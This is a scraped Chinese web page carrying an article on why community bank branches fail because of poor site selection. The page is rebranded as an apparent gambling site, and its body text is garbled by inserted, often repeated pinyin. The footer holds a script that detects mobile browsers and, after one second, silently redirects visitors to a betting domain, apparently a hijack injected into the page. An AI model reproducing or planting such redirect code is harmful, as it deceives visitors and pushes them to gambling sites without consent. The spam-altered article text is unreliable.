ku游戏网站

今(jin)天(tian)是2021年7月31日 星期六(liu),欢迎(ying)光临本站 

科技金融

【原创】“社区银行”之殇(三)

文字:[大][中][小] 手机页面二维码 2021/7/16     浏览次数:    

误区四、选址不当

 

在(zai)当今时代,网(wang)点(dian)仍有不可替代的作用,但(dan)是由于网(wang)点(dian)的租金、人员成本(ben)不断攀升,社区(qu)支行的选址就显得非常重要,如果随便靠拍脑袋(dai)来开设网(wang)点(dian),则成功率(lv)低(di)也是预料之(zhi)中的事。

 

下图(tu)为(wei)ku游戏网站咨询在20179月某项目中(zhong)做的(de)市场(chang)调研,我们可以看到,客户(hu)仍然将网点的(de)距离作为最(zui)重(zhong)要的(de)考虑因素(su)之一。


 

网(wang)(wang)(wang)(wang)(wang)点(dian)的(de)(de)(de)(de)(de)选址要发挥两(liang)个(ge)作(zuo)用(yong),一是尽可能(neng)(neng)要增加(jia)网(wang)(wang)(wang)(wang)(wang)点(dian)的(de)(de)(de)(de)(de)覆盖范围(辐射(she)(she)能(neng)(neng)力(li)),二是增加(jia)网(wang)(wang)(wang)(wang)(wang)点(dian)的(de)(de)(de)(de)(de)吸客(ke)(ke)作(zuo)用(yong)(获客(ke)(ke)能(neng)(neng)力(li))。网(wang)(wang)(wang)(wang)(wang)点(dian)所(suo)(suo)处(chu)(chu)区(qu)域的(de)(de)(de)(de)(de)商(shang)业(ye)氛围和人气状况(kuang)、网(wang)(wang)(wang)(wang)(wang)点(dian)所(suo)(suo)处(chu)(chu)在的(de)(de)(de)(de)(de)道(dao)路等(deng)级、网(wang)(wang)(wang)(wang)(wang)点(dian)周边(bian)交(jiao)通站点(dian)分布、网(wang)(wang)(wang)(wang)(wang)点(dian)周边(bian)同(tong)业(ye)银行的(de)(de)(de)(de)(de)聚集度(du)、网(wang)(wang)(wang)(wang)(wang)点(dian)的(de)(de)(de)(de)(de)停车条(tiao)件、网(wang)(wang)(wang)(wang)(wang)点(dian)周边(bian)聚客(ke)(ke)点(dian)的(de)(de)(de)(de)(de)分布情况(kuang)等(deng)等(deng)因素都(dou)会影(ying)响到(dao)网(wang)(wang)(wang)(wang)(wang)点(dian)的(de)(de)(de)(de)(de)辐射(she)(she)能(neng)(neng)力(li);而网(wang)(wang)(wang)(wang)(wang)点(dian)的(de)(de)(de)(de)(de)视觉效果(guo)、客(ke)(ke)户(hu)抵(di)达网(wang)(wang)(wang)(wang)(wang)点(dian)的(de)(de)(de)(de)(de)便利性、网(wang)(wang)(wang)(wang)(wang)点(dian)的(de)(de)(de)(de)(de)所(suo)(suo)处(chu)(chu)位置等(deng)都(dou)会影(ying)响到(dao)网(wang)(wang)(wang)(wang)(wang)点(dian)的(de)(de)(de)(de)(de)获客(ke)(ke)能(neng)(neng)力(li)。网(wang)(wang)(wang)(wang)(wang)点(dian)的(de)(de)(de)(de)(de)客(ke)(ke)流大不一定(ding)网(wang)(wang)(wang)(wang)(wang)点(dian)的(de)(de)(de)(de)(de)获客(ke)(ke)率(lv)(lv)就一定(ding)高,同(tong)样(yang),网(wang)(wang)(wang)(wang)(wang)点(dian)的(de)(de)(de)(de)(de)客(ke)(ke)流量(liang)低也不一定(ding)意味着网(wang)(wang)(wang)(wang)(wang)点(dian)的(de)(de)(de)(de)(de)获客(ke)(ke)率(lv)(lv)低,还要具(ju)体(ti)分析网(wang)(wang)(wang)(wang)(wang)点(dian)所(suo)(suo)处(chu)(chu)在区(qu)域的(de)(de)(de)(de)(de)客(ke)(ke)群特(te)点(dian)和网(wang)(wang)(wang)(wang)(wang)点(dian)的(de)(de)(de)(de)(de)具(ju)体(ti)立地条(tiao)件。

 

在网(wang)点(dian)选址评(ping)(ping)(ping)估(gu)方面(mian),ku游戏网站有专属的网(wang)点(dian)选址评(ping)(ping)(ping)估(gu)工具,根据过往(wang)上万家(jia)网(wang)点(dian)的选址评(ping)(ping)(ping)估(gu)经验,从(cong)定性和定量两(liang)个角度,积(ji)累了(le)100多项指标,来为银行网点的选址和调整保驾(jia)护航。

 

银行(xing)各种类型(xing)的(de)网(wang)点(dian)(dian),如综(zong)合(he)网(wang)点(dian)(dian)、多(duo)功能网(wang)点(dian)(dian)、社区(qu)(qu)支行(xing)(各银行(xing)的(de)称呼各不相同),也(ye)可以将其类比成(cheng)大卖场、超市和(he)便(bian)利店(dian),各类型(xing)网(wang)点(dian)(dian)对客(ke)户的(de)服务能力(li)和(he)辐射能力(li)依次降(jiang)低。对于(yu)地方(fang)性银行(xing)和(he)四大行(xing)来说,由于(yu)其在一个地方(fang)的(de)网(wang)点(dian)(dian)数量相对较多(duo),社区(qu)(qu)支行(xing)扮演的(de)就是便(bian)利店(dian)的(de)作用,其辐射能力(li)和(he)获客(ke)能力(li)理所当然也(ye)相对有(you)限,相应(ying)的(de)期望(wang)值(zhi)和(he)考(kao)核指标也(ye)应(ying)该(gai)有(you)所降(jiang)低。

 

如(ru)果是针对(dui)网点(dian)(dian)(dian)(dian)(dian)(dian)数量相(xiang)对(dui)较(jiao)少的(de)(de)(de)(de)银(yin)(yin)行(xing),如(ru)股份制(zhi)银(yin)(yin)行(xing),网点(dian)(dian)(dian)(dian)(dian)(dian)是相(xiang)对(dui)稀缺的(de)(de)(de)(de)资源,则仍然要(yao)发(fa)挥好(hao)(hao)网点(dian)(dian)(dian)(dian)(dian)(dian)的(de)(de)(de)(de)辐(fu)射作(zuo)用。银(yin)(yin)行(xing)是开数量有限(xian)的(de)(de)(de)(de)中型规模、辐(fu)射能(neng)力(li)较(jiao)强的(de)(de)(de)(de)“超(chao)(chao)(chao)市”好(hao)(hao),还(hai)是开更多小(xiao)型规模,但辐(fu)射能(neng)力(li)较(jiao)弱的(de)(de)(de)(de)“便利(li)(li)店(dian)”好(hao)(hao),其实是一个战略选(xuan)(xuan)(xuan)择的(de)(de)(de)(de)问题。此外,“超(chao)(chao)(chao)市”和(he)“便利(li)(li)店(dian)”的(de)(de)(de)(de)选(xuan)(xuan)(xuan)址是有一定要(yao)求上的(de)(de)(de)(de)差别(bie)的(de)(de)(de)(de)。把“超(chao)(chao)(chao)市”开在“便利(li)(li)店(dian)”的(de)(de)(de)(de)选(xuan)(xuan)(xuan)址位置,会造成“超(chao)(chao)(chao)市”吸引不(bu)到足够的(de)(de)(de)(de)客(ke)群,影响辐(fu)射能(neng)力(li);反之,将(jiang)“便利(li)(li)店(dian)”开在“超(chao)(chao)(chao)市”的(de)(de)(de)(de)位置,则会限(xian)制(zhi)网点(dian)(dian)(dian)(dian)(dian)(dian)的(de)(de)(de)(de)竞争能(neng)力(li),无法充分发(fa)挥网点(dian)(dian)(dian)(dian)(dian)(dian)的(de)(de)(de)(de)选(xuan)(xuan)(xuan)址优势和(he)获客(ke)能(neng)力(li)。不(bu)分青红皂白地把社区支行(xing)开在小(xiao)区门(men)口(kou),很可能(neng)降(jiang)低(di)(di)了网点(dian)(dian)(dian)(dian)(dian)(dian)的(de)(de)(de)(de)辐(fu)射能(neng)力(li),网点(dian)(dian)(dian)(dian)(dian)(dian)业(ye)绩低(di)(di)也是意料(liao)之中的(de)(de)(de)(de)事。

 

下图的一家社(she)区支行(xing)(xing)(标红(hong)色五(wu)角星)开设在一条社(she)区支路上,而且是在小区的背面,非人流(liu)主要经过(guo)的道(dao)路上,导致人流(liu)量过(guo)低。该社(she)区网点不幸成为(wei)这家银行(xing)(xing)第一批关闭的网点之一。


 

 

下图(tu)的(de)(de)社区银行(xing)网(wang)点(dian)开在(zai)一个(ge)相对封(feng)闭的(de)(de)区域,东面和北面有高架桥阻隔,南边为江河,导致网(wang)点(dian)辐射的(de)(de)范围受到限制,客户(hu)(hu)群体的(de)(de)数量较为有限;此外在(zai)不大的(de)(de)区域内(nei)集(ji)中了(le)三家(jia)银行(xing)网(wang)点(dian)。由于(yu)客户(hu)(hu)群资源有限,加之(zhi)同业竞争激烈,三家(jia)银行(xing)网(wang)点(dian)的(de)(de)经营都不尽如人意(yi)。

 


 

在网点选址的(de)时候,要尽量(liang)选择那些有助于扩大网点辐射能(neng)力的(de)区(qu)(qu)位和位置(zhi),那种认(ren)为社区(qu)(qu)支(zhi)行就是(shi)开在社区(qu)(qu)边(bian)上,而忽略网点辐射能(neng)力和获客(ke)能(neng)力的(de)选址,将导致社区(qu)(qu)银行的(de)辐射能(neng)力弱,获客(ke)能(neng)力不强(qiang),实质上是(shi)浪(lang)费了社区(qu)(qu)支(zhi)行吸引客(ke)户自然增长(zhang)的(de)作用(yong)。


(未完(wan)待续)


返回上一步
打印此页
13818970338
浏览手(shou)机站
微信(xin)二维码
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();